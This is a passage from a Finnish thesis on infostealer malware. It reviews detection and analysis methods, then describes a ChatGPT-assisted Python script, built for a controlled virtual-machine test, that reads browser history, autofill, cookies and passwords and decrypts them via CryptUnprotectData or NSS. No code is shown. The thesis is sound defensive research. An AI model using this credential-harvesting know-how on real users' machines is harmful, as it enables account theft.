(Souri & Hosseini, 2018, ss.3—4)

Taydennyksena kaytetaan kayttaytymispohjaista tunnistusta (engl. behavior-based
detection), jossa tarkastellaan ohjelman aiheuttamia muutoksia tiedostoihin,
rekisteriarvoihin ja verkkoyhteyksiin. Tama lahestymistapa on erityisen hyddyllinen uusien
tai nollapaivahydkkaysten havaitsemisessa, mutta vaatii paljon resursseja ja voi olla altis

tunnistuksen kiertamisyrityksille. (Souri & Hosseini, 2018, s. 5)

Useat nykyaikaiset virustorjuntaratkaisut yhdistavat naitd menetelmia koneoppimiseen ja
pilvipohjaisiin analyysipalveluihin. Esimerkiksi Microsoft Defender seuraa prosessien
kaynnistymista ja tiedostojen latauksia tunnistaakseen poikkeavaa toimintaa. F-Secure
Total hyddyntaa DeepGuard-teknologiaa ja pilvianalyysia haitallisen verkkosisallén
estamiseksi. (Microsoft, 2024; F-Secure, n.d.; F-Secure, 2023)

Nykyaikaiset virustorjuntaratkaisut tarjoavat tarkeda suojaa, mutta infostealer-
haittaohjelmat on usein suunniteltu kiertamaan jopa edistyneimmat puolustusmekanismit.
Siksi virustorjunta muodostaa vain yhden osan kokonaisvaltaisesta suojauksesta.
(CyberNewsWire, 2025)
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5.1.1 Suojaavat selainlaajennukset

Selainlaajennukset voivat tarjota tehokasta lisdsuojaa infostealer-haittaohjelmia vastaan
estamalla paasyn haitallisille verkkosivustoille ja varoittamalla kayttajia uhista ennen
tietojen varastamista. Suojaavia selainlaajennuksia ovat esimerkiksi mainosten ja
seurantaevasteiden estgjat, salasananhallintasovellukset seka haitallisia sivustoja
suodattavat ratkaisut. Lisdksi on olemassa niin sanottuja siivouslaajennuksia, jotka
poistavat selaimeen kertynytta yksityista dataa, pienentden seka varastettavan tiedon
maaraa ettd hydkkayspinta-alaa. Koska nailla laajennuksilla on usein laajat kayttéoikeudet
selaimen ja kayttajan tietoihin, on tarkeaa valita vain luotettavia ja tunnettuja vaihtoehtoja.
(Arntz, 2021)

Selainlaajennukset voivat hyédyntaa koneoppimista tunnistaakseen vaarallisia
verkkosivustoja analysoimalla niiden kayttaytymista, likennetta ja kayttajan
vuorovaikutusta. (Chy & Buadi, 2024, ss. 17161-17163) Esimerkiksi NoPhish-laajennus
varoittaa reaaliajassa epailyttavista sivuista ja estaa arkaluontoisten tietojen syottamisen
huijaussivustoille (Thagi ym., 2024, ss. 8—-18). Vaikka nama laajennukset eivat suojaa
suoraan infostealer-haittaohjelmilta, ne voivat merkittavasti pienentaa tietojen varastamisen

riskia.

5.1.2 Hiekkalaatikointi ja sovelluseristys

Hiekkalaatikointi (engl. sandboxing) on tietoturvatekniikka, jossa epailyttava tai tuntematon
ohjelma suoritetaan eristetyssa ymparistdssa, erotettuna tietokoneen varsinaisesta
kayttdjarjestelmasta ja tiedostoista. Tarkoituksena on tarkkailla ohjelman kayttaytymista,
kuten tiedostojen muokkaamista, rekisterimuutoksia ja verkkoyhteyksia, ilman riskia
jarjestelman vahingoittumisesta. Hiekkalaatikointi on erityisen tarkeaa, sillda monet
haittaohjelmat paljastavat haitallisen toimintansa vasta suorituksen aikana. (Arntz, 2020;

Barker, 2021, A word on automated sandboxing -luku, ensimmainen kappale)

Automaattiset hiekkalaatikkotydkalut, kuten Hybrid Analysis, ANY.RUN ja Cuckoo

Sandbox, mahdollistavat haittaohjelmien nopean kayttaytymisanalyysin. Nailla tydkaluilla
voidaan tunnistaa tartuntojen tunnusmerkkeja (I0C), kuten epailyttavia tiedostonimia, 1P-
osoitteita ja verkkotapahtumia, joita voidaan hy6dyntaa torjunnassa ja jatkotutkimuksissa.

(Barker, 2021, A word on automated sandboxing -luku, ensimmainen kappale)
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Kehittyneet infostealer-haittaohjelmat pyrkivat kuitenkin kiertamaan
hiekkalaatikkoanalyysin. Ne saattavat tunnistaa virtuaaliympariston laitteistoasetuksista tai
kayttajan toimettomuudesta. Haittaohjelmat voivat myos viivastyttaa toimintaansa tai
pysayttdd sen kokonaan havaitessaan tarkkailun. Tama tekee infostealereiden
tunnistamisesta haastavaa ja korostaa tarvetta mahdollisimman aidonkaltaisille
hiekkalaatikkoymparistdille. (Mills & Legg, 2020, s.22)

5.2 Haittaohjelmien analysointi

Vaikka ennaltaehkaisy on keskeinen osa tietoturvaa, tehokas haittaohjelmien torjunta
edellyttaa myds ymmarrysta haittaohjelmien toiminnasta. Infostealer-haittaohjelmat pyrkivat
aktiivisesti vaikeuttamaan analyysia hyddyntamalla esimerkiksi tiedostojen salaamista,
pakkaamista, koodin obfuskointia ja turhan datan lisddmista tiedostokoon kasvattamiseksi.
(Singh & Singh, 2018, ss.103—-105)

Yksi analyysimenetelma harvoin riittda kattavaan haittaohjelman tunnistukseen.
Yhdistamalla staattista ja dynaamista analyysia niin sanotuksi hybridianalyysiksi seka
hyédyntamalla koneoppimista, voidaan merkittavasti parantaa haittaohjelmien
tunnistustarkkuutta. Téma mahdollistaa seka ohjelmakoodin rakenteen ettad kayttaytymisen
paljastamisen, myos kehittyneempia hamaystekniikoita kaytettaessa. (Singh & Singh,
2018, s. 108; Tahir, 2017, s. 25)

Analyysi alkaa usein staattisella tarkastelulla, jossa epailyttavaa tiedostoa tutkitaan
suorittamatta sita. Jos staattinen analyysi ei anna riittavasti tietoa, tiedosto suoritetaan
eristetyssa testiymparistdssa dynaamisen analyysin keinoin. Naiden vaiheiden tavoitteena
on ymmartaa haittaohjelman toiminta ja kerata tartuntojen tunnusmerkkeja (10C).
Monimutkaisempien haittaohjelmien analyysissa voidaan hyédyntaa kaanteismekaniikkaa
(eng. reverse engineering), jossa ohjelmakoodi puretaan ja tutkitaan syvallisesti. (Elisan,

2018, Malware analysis 101 -luku, ensimmainen kappale)

Haittaohjelma-analyysissa kaytetaan seka virtuaaliymparistdja etta fyysisia koneita, silla
monet haittaohjelmat osaavat havaita olevansa virtuaalisessa ymparistossa ja muuttaa
toimintaansa sen mukaisesti. Paras tulos saavutetaan yhdistdmalla molemmat

lahestymistavat. (Elisan, 2018, Inspecting dynamic analysis -luku, ensimmainen kappale)
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Analyysia tukevat myos muistianalyysi ja verkkoliikenteen tarkastelu, jotka ovat erityisen
hyodyllisia tiedostottomien haittaohjelmien (eng. fileless malware) ja komentokanavien (C2)
havaitsemisessa. (Mohanta & Saldanha, 2020, Memory forensics with Volatility -luku,

ensimmainen kappale)

5.2.1 Staattinen analyysi

Staattisessa analyysissa haittaohjelmaa tutkitaan ilman sen suorittamista. Tavoitteena on
selvittaa turvallisesti ohjelman rakenne, alkupera ja mahdolliset haitalliset ominaisuudet.
Analyysissa hyddynnetddn muun muassa hajautustiivisteiden (hash-arvot) vertailua
tunnettuihin haittaohjelmatietokantoihin. Lisaksi fuzzy hashing -menetelmilla voidaan
tunnistaa rakenteeltaan samankaltaisia, mutta hieman poikkeavia tiedostoja. Keskeisia
tekniikoita ovat myos tiedoston todellisen tyypin tarkastelu ja merkkijonojen (kuten
komentopalvelinten osoitteiden) etsiminen. (Barker, 2021, Static analysis — techniques and

tooling -luku, toinen kappale)

Syvallisemmassa analyysissa ohjelmakoodi puretaan konekielestd assembly-koodiksi
kayttaen disassembler-tydkaluja, kuten IDA:a tai Ghidraa. Tama mahdollistaa ohjelman
rakenteen, API-kutsujen ja haitallisten toimintojen tarkastelun ilman tiedoston suorittamista.

(Cucci, 2024, The fundamentals -luku, kolmas kappale)

5.2.2 Dynaaminen analyysi

Dynaamisessa analyysissa tutkitaan, mita toimia haittaohjelma suorittaa. Esimerkiksi
luodaanko uusia prosesseja, muokataanko tiedostoja, muodostetaanko verkkoyhteyksia tai
pyritdankd pysyvyyteen jarjestelmassa myods uudelleenkaynnistyksen jalkeen. Erityisen
tarkeaa on havaita yhteydet komentokanaviin (C2), joiden kautta haittaohjelma voi
vastaanottaa lisdohjeita tai ladata uusia hyoétykuormia. Dynaaminen analyysi paljastaa
my0s tiedostottomat haittaohjelmat ja muut piilotetut toiminnot, joita ei voi havaita pelkalla
tiedostotarkastelulla. Analyysia voidaan tehostaa automatisoinnilla, esimerkiksi skripteilla,
jotka keraavat tietoa jarjestelmallisesti haittaohjelman toiminnasta. Menetelma on kuitenkin
aikaa vieva, silla osa haittaohjelmista viivyttaa aktivoitumistaan tai vaatii erityisia
olosuhteita, kuten verkkopalvelimen vastauksen toimiakseen. (Barker, 2021, Dynamic

analysis — techniques and tooling -luku, ensimmainen kappale)
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Dynaaminen analyysi edellyttaa tarkkaa eristysta. Suorittaminen normaalissa
jarjestelmassa voi johtaa haittaohjelman levidmiseen tai tietojen vuotamiseen oikeaan
verkkoon. Lisaksi analyysin jalkeen ymparisto on nollattava huolellisesti, jotta
pysyvyysmekanismit eivat jaa jarjestelmaan. (Barker, 2021, Dynamic analysis — techniques

and tooling -luku, ensimmainen kappale)

Monet nykyaikaiset haittaohjelmat pyrkivat valttamaan havaitsemisen
analyysiymparistdissa. Bulazelin ja Yenerin (2017) mukaan ndma haittaohjelmien
kayttamat valttelytekniikat voivat merkittavasti heikentaa analyysin luotettavuutta. Valttelyn
torjuntaan suositellaan muun muassa hybridimenetelmia ja ihmismaisen kayttaytymisen

simulointia analyysiymparistossa.

5.2.3 Hybridianalyysi

Hybridianalyysi yhdistaa staattisen ja dynaamisen analyysin vahvuudet seka kompensoi
kummankin menetelman heikkouksia. Haittaohjelmien tarkka tunnistaminen edellyttaa
usein naiden menetelmien vuorottelua, jolloin ohjelman rakenteelliset ja kayttaytymiseen
perustuvat piirteet voidaan paljastaa mahdollisimman luotettavasti. (Mohanta & Saldanha,

2020, Malware analysis and classification -luku, ensimmainen kappale)

5.3 Infostealer-haittaohjelmien tunnistamisen erityispiirteet

Infostealer-haittaohjelmien tunnistaminen on haastavaa, koska ne toimivat nopeasti ja
pyrkivat pysymaan huomaamattomina. Niiden tunnistaminen edellyttaa erityisia
menetelmia, jotka keskittyvat poikkeavan kayttaytymisen ja jarjestelmamuutosten

seurantaan.

5.3.1 Poikkeamat

Infostealereita voidaan havaita seuraamalla jarjestelman poikkeamia normaalista
kayttaytymisesta (eng. anomaly detection). Tallaisia poikkeamia ovat esimerkiksi yllattavat
tiedostomuutokset, verkkoliikenteen poikkeamat tai epatavalliset prosessitoiminnot.
(Parhizkari, 2023, s.116)
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Red Canaryn (n.d.) raportin mukaan infostealerit, kuten RedLine ja Raccoon, kiertavat
selainten suojauksia ajamalla selaimia etddebuggaus ja headless-tilassa, mika voidaan
havaita komentoriviparametreista. Haitallista toimintaa paljastuu mydés, kun haittaohjelma
injektoituu prosesseihin, joiden ei normaalisti odoteta muodostavan verkkoyhteyksia, kuten
InstallUtil.exe (.NET Frameworkin tyokalu asennuskomponenttien rekisterdintiin) tai
MSBuild.exe (Microsoftin kehitystyokalu sovellusten kdantamiseen Visual Studio -
ymparistossa). Lisaksi epatyypilliset tiedostolataukset esimerkiksi AppData\LocalLow-
hakemistoon voivat viitata infostealerin toimintaan. Tallaisten poikkeamien seuranta on

keskeinen menetelma infostealer-haittaohjelmien tunnistamisessa.

5.3.2 Uhkatieto

Ajantasainen uhkatieto (eng. Cyber Threat Intelligence, CTI) tukee infostealer-
haittaohjelmien tunnistamista tarjoamalla tietoa esimerkiksi kaytetyista levitystekniikoista,
haitallisten tiedostojen tunnisteista ja ohjauspalvelinten IP-osoitteista. Naita tietoja voidaan
hyoddyntaa suojausratkaisujen paivittamisessa, lokien analysoinnissa seka automaattisessa
uhkien tunnistuksessa. Lisaksi vuotojen seurantapalvelut, kuten Have | Been Pwned, voivat
paljastaa, onko varastettuja tunnuksia joutunut julkisuuteen infostealer-infektion
seurauksena. (Rains, 2023, What to know about threat intelligence -luku, toinen kappale;
HIBP, n.d.)

Flaren (2024) mukaan Continuous Threat Exposure Management (CTEM) -mallin avulla
organisaatiot kartoittavat jatkuvasti altistustaan tietoturvauhkille, kuten tietovuodoille ja
varastetuille kirjautumistiedoille. CTEM-malli kattaa myds pimean verkon seurannan, jonka
avulla voidaan havaita varastettujen tietojen kaupankayntia tai levittamista. Nain
organisaatiot voivat puuttua riskeihin ennakoivasti ennen vakavien tietoturvaloukkauksien

syntymista.

5.3.3 Jatkuva seuranta

Hyvin suunniteltu tapahtumavaste (eng. Incident Response) on keskeinen osa infostealer-
haittaohjelmien torjuntaa. Kun haittaohjelma havaitaan, nopeat ja ennalta maaritellyt
toimenpiteet voivat estaa tietovuodon laajenemisen ja minimoida vahingot.

Tapahtumavaste sisaltaa hyokkayksen tunnistamisen, eristamisen, analysoinnin ja
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jarjestelman palauttamisen turvalliseen tilaan. (Death, 2023, Incident response planning -

luku, ensimmainen kappale)

EDR-jarjestelmat (eng. Endpoint Detection and Response) seuraavat paatelaitteiden
toimintaa reaaliaikaisesti ja etsivat merkkeja haitallisesta tai poikkeavasta kayttaytymisesta,
joita perinteiset virustorjuntaratkaisut eivat valttamatta tunnista. Kun EDR-jarjestelma
havaitsee uhan, se voi automaattisesti estdad epailyttdvan toiminnan, ilmoittaa siita
tietoturvatiimille seka tukea jatkotutkimusta ja korjaavia toimenpiteitd. Tama tekee EDR-
jarjestelmista olennaisen osan infostealer-haittaohjelmien torjuntaa ja nopeaa reagointia
uhkatilanteisiin organisaatioissa. (Green ym., 2024, Security operations -luku,

ensimmainen kappale)

5.4 Kehittyneet haittaohjelmien torjuntamenetelmat

Haittaohjelmien torjunta kehittyy jatkuvasti uusien uhkien mukana. Tassa luvussa
tarkastellaan erityisesti kehittyneitd menetelmia infostealer-haittaohjelmien havaitsemiseksi

ja torjumiseksi.

Koneoppimismenetelmat, kuten tukivektorikoneet ja syvaoppivat neuroverkot, ovat
nousseet tarkeaksi osaksi haittaohjelmien tunnistusta. Naiden menetelmien avulla voidaan
analysoida suuria tietomaaria ja havaita haitallista toimintaa ilman ennalta maariteltyja
saantoja. (Souri & Hosseini, 2018; Heena, 2021, ss.4—-10)

Koneoppimista hydodynnetaan esimerkiksi LEDA-jarjestelmassa, joka tarkkailee sovellusten
toimintaa reaaliajassa ja havaitsee poikkeavaa kayttaytymista ennen kuin haittaohjelma
ehtii aiheuttaa vahinkoa. (Portase ym., 2024, ss.3—-20) EAGLEEYE-jarjestelma puolestaan
analysoi verkon ja jarjestelman lokitiedoista muodostettuja tapahtumaketjuja hyddyntaen
Transformer-pohjaisia malleja, tunnistaen nain monivaiheisia ja hajautettuja hyokkayksia,
joita yksittaiset tapahtumat eivat paljasta. (Gysel ym., 2024, ss.3—-12) Eras kiinnostava
lahestymistapa on myos binaarimuotoisen haittaohjelman muuttaminen kuvaksi ja sen
analysointi DenseNet-syvaoppimismallilla, mika mahdollistaa rakenteellisten poikkeamien
havaitsemisen myds kehittyneesti naamioiduista haittaohjelmista. (Hemalatha ym., 2021,
$s.5-21)



52 (84)

Perinteiset palomuurit eivat aina tunnista piilotettua haitallista liikennetta.
Ohjelmistopohjaiset palomuurit (eng. Software-Defined Firewall, SDF) tarkkailevat seka
sovellustason ettd verkkotason toimintaa ja mahdollistavat suojauskaytantéjen
automaattisen paivityksen. Tama tekee niista erityisen hyddyllisen tilanteissa, joissa
infostealer-haittaohjelmien liikenne pyritdan naamioimaan normaaliksi. (Gao ym., 2018,
$s.413-424)

Nykyiset virustorjuntaohjelmistot ovat kehittyneet paljon perinteisista kiintolevyn tiedostojen
skannausohjelmista. Ne koostuvat useista toisiaan tukevista komponenteista, kuten
tiedostoskannerista, muistiskannerista, pakkauksenpurkajasta ja tunnistetietomoduuleista,
jotka yhdessa tarkkailevat laitteen tiedostoja ja ohjelmia haitallisen kayttaytymisen
merkkien varalta. Suorituskyvyn optimoimiseksi hyddynnetaan esisuodattimia, jotka
arvioivat nopeasti esimerkiksi tiedoston koon tai tyypin ennen tarkempaa analyysia. Lisaksi
vaurionkorjausmoduulit palauttavat jarjestelman alkuperaiseen tilaan, mikali haittaohjelma
ehtii aiheuttaa muutoksia. (Mohanta & Saldanha, 2020, Detection engineering -luku, toinen

kappale)
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6 Tyon tavoite

Taman opinnaytetydn tavoitteena on selvittda, miten eri verkkoselainten tietoturva-
asetukset vaikuttavat infostealer-haittaohjelmien kykyyn kerata kayttajatietoja.
Tarkoituksena on muodostaa kokonaiskuva siita, millaisilla selaimen asetuksilla ja
kaytannéilla voidaan pienentaa tietojen vuotamisen riskia, jos kayttaja joutuu tallaisen

haittaohjelmahyokkayksen kohteeksi.

Vertailussa mukana ovat kolme yleisimmin kaytosséa olevaa verkkoselainta Windows-
kayttojarjestelmassa: Google Chrome, Microsoft Edge ja Mozilla Firefox. Nama selaimet
valittiin vertailuun niiden laajan kayttajakunnan ja markkinaosuuden vuoksi, mika tekee
niista realistisia kohteita myds infostealer-haittaohjelmille. Naissa selaimissa suojattaviksi
tiedoiksi nousevat erityisesti selaushistoria, automaattitayttétiedot (engl. autofill), evasteet
seka tallennetut salasanat. Koska selaimet eroavat toisistaan rakenteellisesti ja
ominaisuuksiensa osalta, niissa ei ole kaikissa samoja asetuksia tarjolla. Taman vuoksi

tydssa vertaillaan myds, miten asetusten tarjoamat vaihtoehdot eroavat toisistaan.

Yhtena tydn tavoitteena on tarkastella, kuinka paljon kayttajan tulee itse muuttaa selaimen
asetuksia ollakseen paremmin suojassa infostealer-haittaohjelmilta. Siksi tydssa vertaillaan

oletusasetusten ja kayttajan itse maarittdmien asetusten vaikutuksia.

Teoriaosuudessa kasitellaan verkkoselainten tietoturvaa yleisella tasolla seka sita, miten
selainasetuksilla voidaan vaikuttaa suojauksen tasoon. Eri selaimien oletusasetuksissa on
havaittavissa eroja, mutta yleisesti ottaen kayttajan on useimmiten tarpeen muokata

asetuksia itse tietoturvan parantamiseksi.

Toiminnallisessa osuudessa tutkitaan tarkemmin, millainen vaikutus eri asetuksilla on
selainten paikallisesti tallentamiin tietoihin. Naihin tietoihin sisaltyy merkittavaa ja arvoltaan

houkuttelevaa dataa hyokkaajan nakokulmasta, kuten kirjautumistiedot ja istuntoevasteet.

Opinnaytetydn menetelmana kaytetdan ketteraa projektitydskentelya (Agile), joka
mahdollistaa tydn jatkuvan arvioinnin ja joustavan etenemisen. Kettera lahestymistapa
mahdollistaa uusien asioiden omaksumisen tydn edetessa seka tarpeen mukaan

suunnanmuutokset.
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Testit toteutetaan kdytannonlaheisesti virtuaalisessa testiymparistdssa, johon luodaan
realistista testidataa. Data koostuu sellaisesta informaatiosta, jota infostealer-haittaohjelma
tyypillisesti pyrkii varastamaan, kuten tallennetuista salasanoista, automaattitayttotiedoista
ja selausdatasta. Testausten jalkeen tulokset analysoidaan ja vertaillaan, minka perusteella

voidaan antaa suosituksia siita, miten verkkoselaimia kannattaa kayttaa turvallisesti.
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7 Tyon suunnittelu

Infostealer-haittaohjelmien toimintaa tutkittaessa tulee kayttaa eristettya testausymparistoa,
jotta mahdolliset haittavaikutukset eivat paase leviamaan ulkopuolisiin jarjestelmiin. Tata

varten kayttoon otettiin virtuaalikone, jota muokattiin tydn vaatimusten mukaisesti.

Virtuaalikoneeseen asennettiin testauksen kohteeksi kolme eri verkkoselainta, joihin luotiin
todentuntuista testidataa. Tahan sisaltyi muun muassa selaushistorian tallentamista,
evasteiden hyvaksymista ja automaattitayttotietojen lisaamista. Automaattitayttotietoihin
lisattiin esimerkiksi kayttajatunnuksia, salasanoja ja yhteystietoja. Naiden toimien avulla

pyrittiin luomaan kayttdymparisto, joka vastaisi mahdollisimman hyvin todellista tilannetta.

Seuraava vaihe suunnittelussa oli itse testien toteutustavan valinta. Tavoitteena oli testata
asetuksien vaikutuksia mahdollisimman realistisesti, mutta ilman riskia oikean
haittaohjelman aiheuttamista vahingoista. Vaihtoehtoina harkittiin joko aidon infostealer-

haittaohjelman ajamista valvotussa ymparistdssa tai simuloidun version luomista.

Tassa tydssa paadyttiin jalkimmaiseen vaihtoehtoon, eli haittaohjelman toimintaa matkivan
tiedonkeruuskriptin toteuttamiseen itse. Nain pystyttiin hallitsemaan taysin, mita skripti
tekee ja minimoimaan kaikki siihen liittyvat tietoturvariskit. Koska testien kohteena olivat
ainoastaan selainten paikallisesti tallentamat tiedot, yksinkertainen Python-pohjainen

simulaatio oli riittdva vaihtoehto aidon haittaohjelman sijasta.

7.1 Virtuaaliympariston rakentaminen

Testiymparisto toteutettiin VirtualBox-ohjelmistolla, jonka avulla voidaan asentaa ja kayttaa
erilaisia virtuaalikoneita ilmaiseksi. Tassa tyossa kayttdjarjestelmaksi valittiin Windows,
joten virtuaalikoneeseen asennettiin uusin saatavilla oleva Windows 11 Home -versio.
Virtuaalikoneelle maaritettiin riittdvat resurssit suorituskyvyn takaamiseksi, kuten reilusti

muistia ja prosessoritehoa. Tarkemmat tekniset tiedot on esitetty Taulukko 2.
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Taulukko 2. Virtuaalikoneen tekniset tiedot

Kayttojarjestelma Windows 11 Home 24H2
Massamuisti 100 GB

RAM 8 GB

Prosessori 4 CPU-ydinta

Jotta Python-pohjainen simulaatioskripti voitiin suorittaa, virtuaalikoneelle taytyi asentaa

Python-ohjelmointikieli. Asennus tehtiin Microsoft Storen kautta.

Virtuaalikoneeseen asennettiin testattavat verkkoselaimet. Windowsin mukana tulee
valmiiksi Microsoft Edge, joten se oli jo kaytettavissa. Google Chrome asennettiin sen
viralliselta verkkosivulta ladatulla asennuspaketilla. Mozilla Firefox ladattiin aluksi Microsoft
Storen kautta, mutta huomattiin, etta talla tavalla asennettu versio ei luo oletuskansioita ja
tiedostoja samalla tavalla kuin Mozilla.org-sivustolta ladattu asennus. Tama voi vaikuttaa
selaimen tietoturvaan, silla jos oletustiedostoja ei muodostu, haittaohjelmien voi olla
vaikeampi 10ytaa ne. Tama havainto herattaa kysymyksen siita, voisiko selaimen
asennustavalla tai versiolla olla merkittavaa vaikutusta infostealer-haittaohjelmien kykyyn
kerata tietoa. Tata testausta varten Firefox asennettiin kuitenkin viralliselta verkkosivulta

ladatulla asennuspaketilla, jotta tiedot tallentuvat oletussijainteihin.

Selainten asennuksen jalkeen niilld suoritettiin todentuntuista verkkoselaamista.
Selauksessa kaytiin muutamilla eri verkkosivuilla, tehtiin selaustoimintoja kuten vierityksia
ja linkkien klikkauksia seka hyvaksyttiin evasteita. Talla pyrittiin simuloimaan tavallista
kayttajakokemusta, jotta selaimiin muodostuisi realistista dataa. Automaattitayttotietoja
lisattiin manuaalisesti seka kayttamalla sivustoa https://fill.dev, joka on tarkoitettu
lomakkeiden tayttotietojen testaamiseen. Merkittava havainto oli, ettd Microsoft Edge
tallensi automaattitayttdtiedot kaikkein herkimmin, jopa ilman kayttajan tiedostamista.
Kaikkiin selaimiin lisattiin testidatana kayttajatunnuksia, salasanoja, yhteystietoja ja

luottokorttitietoja.

7.2 Infostealer-haittaohjelma simulaatioskripti

Tata opinnaytety6ta varten luotiin Python-ohjelmointikielelld simulaatioskripti, jonka
tarkoituksena oli jaljitella infostealer-haittaohjelman toimintaa kontrolloidussa ymparistossa.
Skripti on suunniteltu keradmaan kayttajan koneelle tallennettuja tietoja kolmesta

yleisimmin kaytetysta selaimesta: Google Chrome, Microsoft Edge ja Mozilla Firefox.
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Koska tekijalla ei ollut laajaa ohjelmointikokemusta, skriptin toteuttamisessa hyédynnettiin
ChatGPT-tekoalya avustavana tyokaluna. Talla tavoin pystyttiin keskittymaan itse
tietoturvatutkimukseen ja varmistamaan, etta tyokalu saatiin toimimaan suunnitellusti

kaytettavissa olevassa aikataulussa.

On tarkeda huomioida, ettd luotu simulaatio ei yrita kiertdad suojausmekanismeja, pysya
piilossa jarjestelmassa tai siirtaa kerattyja tietoja ulkopuolisille palvelimille. Taman takia se
ei toimi suoraan infostealer-haittaohjelman tavoin. Skripti kuitenkin havainnollistaa, kuinka
helppoa rajallisin teknisin taidoin ja tekoalyn tuella on toteuttaa toiminnaltaan

haittaohjelmaa muistuttava tyokalu.

Skriptin toiminta perustuu siihen, etta verkkoselaimet tallentavat kayttajan tietoja paikallisiin
tiedostoihin, kuten SQLite-tietokantoihin, jotka sijaitsevat kayttajaprofiilin
sovelluskansioissa. Skripti hakee naista tiedostoista selaushistoriasta sivustojen otsikot ja
URL-osoitteet. Automaattitayttdtiedoista se hakee kenttien nimet seka niihin tallennetut
arvot. Evasteiden osalta skripti lukee tiedot siita, mille sivustolle evaste kuuluu, seka
evasteen nimen ja arvon. Salasanojen kohdalla se pyrkii hakemaan tiedon siita, mihin

sivustoon salasana liittyy, seka siihen liitetyn kayttajatunnuksen ja salasanan.

Salatut kentat, kuten salasanat ja evasteiden arvot, skripti yrittda purkaa selaimen
kayttamilla natiivimenetelmilla. Esimerkiksi Chromium-pohjaisissa selaimissa kaytetaan
Windowsin CryptUnprotectData-toimintoa ja Firefoxissa purku tehdaan NSS-kirjaston

avulla.

Skriptin tiedonkeruu on rajattu hakemaan 15 ensimmaista tietuetta kustakin kategoriasta.
Tulokset kootaan lopuksi selkedan tekstiraporttiin, joka tallennetaan .txt-tiedostoksi.
Tietoturvan nakdkulmasta skripti havainnollistaa tehokkaasti, miten helposti paikallisesti
tallennettuihin selaintietoihin voidaan paasta kasiksi, jos laitteelle saadaan paasy

esimerkiksi haittaohjelman avulla.

Skriptin toteutuksessa ilmeni haasteita erityisesti uusien selainten suojausmekanismien
vuoksi. Chromium-pohjaiset selaimet, kuten Chrome ja Edge, hyddyntavat nykyaan App-
Bound Encryption -salausta, joka varmistaa, etta vain selaimen oma prosessi voi purkaa
tiedot. Tama suojaus toimii jarjestelmaoikeuksilla, mika vaikeuttaa sen kiertamista. Vaikka

tahankin on olemassa kiertotapoja, opinnaytetydssa ei lahdetty toteuttamaan niita, silla
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kaytettavissa ollut ohjelmointiosaaminen ja aikaresurssit eivat riittaneet sellaiseen

toteutukseen.

Tasta syysta toteutetulla skriptilla ei ollut mahdollista lukea Chromium-selainten salasanoja
tai evasteita, jos ne oli suojattu App-Bound Encryption -mekanismilla. Kuitenkin testien
perusteella voidaan edelleen havaita, missa tilanteissa tiedot ovat suojattuja ja milloin ne
ovat haittaohjelman ulottuvilla. Téma antaa tarkeaa tietoa kayttajan tietojen suojaustasosta

ja siita, miten eri asetukset vaikuttavat niihin.
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8 Testaaminen

Testausosuus jaettiin kahdeksaan eri testiajoon, joissa verkkoselainten tietoturva-asetuksia
muutettiin jarjestelmallisesti. Testit suoritettiin Windows 11 Home -virtuaalikoneessa
paakayttajan tililla kayttaen komentokehotteen kautta ajettavaa Python-skriptia, joka
simuloi infostealer-haittaohjelman toimintaa. Jokaisesta testista luotiin oma raportti, joka

tallennettiin seka virtuaalikoneeseen etta tekijan omalle tyokoneelle.

Ensimmaisessa testissa tarkasteltiin selainten oletusasetuksia. Tama tarjosi lahtoétilanteen,
jonka perusteella voitiin arvioida, miten hyvin selaimet suojaavat kayttajatietoja ilman, etta
asetuksia muokataan. Testi tehtiin ilman, etta selainten tietoturva-asetuksiin oli tehty
mitdan muutoksia. Ennen testaamista varmistettiin vain, etta testidata oli tallessa kaikissa

kolmessa selaimessa.

Toisessa testissa arvioitiin salasanojen suojausta lisddmalla paasalasana (eng. primary
password) aina kun se oli mahdollista. Microsoft Edgessa tama onnistui valitsemalla
salasanahallinnan asetuksista paasalasanan kysyminen (Kuva 13). Chrome-selaimessa ei
ole tukea paasalasanalle, vaan salasanat tallennetaan Googlen pilvipohjaiseen
salasananhallinta palveluun, mutta ne tallentuvat silti myos paikallisesti laitteelle.
Chromium-pohjaiset selaimet, kuten Chrome ja Edge, tukeutuvat kayttéjarjestelman
suojaukseen, joka edellyttaa laitteen kayttajan tunnistautumista salasanojen katselun tai
muokkauksen yhteydessa. Firefoxissa salasanat voi suojata joko kayttdjarjestelman
kirjautumistunnistuksella tai erikseen asetettavalla paasalasanalla (Kuva 14). Naita

testattiin erillisissa testiajoissa.
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Kuva 13. Paasalasanan luonti Edgessa.

<~ O €@ Edge | edgey//wallet/settings#settings-passwords-section BoA = :' q

Create primary password

A\ VYour primary password is not recoverable
If you forget your primary password, you'll need to delete and create a new Edge
profile. Your primary password will be saved only on this device and isn't shared
with Microsoft. If you're using multiple devices or profiles, you'll need to use a
separate primary password for each.

Enter new primary password *

Confirm new primary password *

paasalasanaedgelle 7& I

Cancel Create

Kuva 14. Firefox-selaimen salasanojen suojaus.

Require device sign in to fill and manage passwords

|| Use a Primary Password Learn more Change Primary Password...

Formerly known as Master Password

Kolmannessa testissa kytkettiin pois paaltd automaattitayttéon liittyvat asetukset.
Firefoxissa poistettiin kaytdstda maksutietojen tallennus ja salasanojen tallennusehdotukset.
Chromessa vastaavat asetukset sijaitsivat kahdessa eri paikassa: salasanahallinnan
asetuksissa ja automaattitdytdén hallinnassa. Molemmista poistettiin valinnat, jotka
mahdollistavat tietojen tallentamisen. Edgessa automaattitdyton asetukset 10ytyivat
Microsoft Wallet -osiosta ja ne kytkettiin kokonaan pois.

Neljas testi keskittyi selaushistorian automaattiseen poistamiseen. Firefoxin asetuksissa
maaritettiin, ettei selain muista historiaa lainkaan. Edgessa puolestaan hyddynnettiin
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asetusta, jolla selaushistoria poistetaan automaattisesti aina, kun selain suljetaan.
Chromessa ei ole asetusta, jolla automaattinen historiatietojen poisto olisi mahdollista,

joten talta osin ei tehty muutoksia.

Viidennessa testiajossa tyhjennettiin selaushistoria manuaalisesti kaikista selaimista. Tama
mahdollisti vertaamisen siihen, miten automaattinen ja manuaalinen tietojen poistaminen

eroavat tietoturvan nakokulmasta.

Kuudennessa testissa tarkasteltiin evasteiden automaattista poistamista. Edge
mahdollistaa evasteiden poistamisen automaattisesti, kun selain suljetaan. Firefoxissa
voidaan myos valita evasteiden poistoasetus, joka poistaa evasteet ja selausdatan aina
kun selain suljetaan. Chromessa ei ole vastaavaa asetusta evasteiden automaattiseen

tyhjentamiseen.

Seitsemannessa testissa suoritettiin manuaalinen evasteiden tyhjennys kaikissa

selaimissa, jotta saatiin vertailukohta edelliseen testiin.

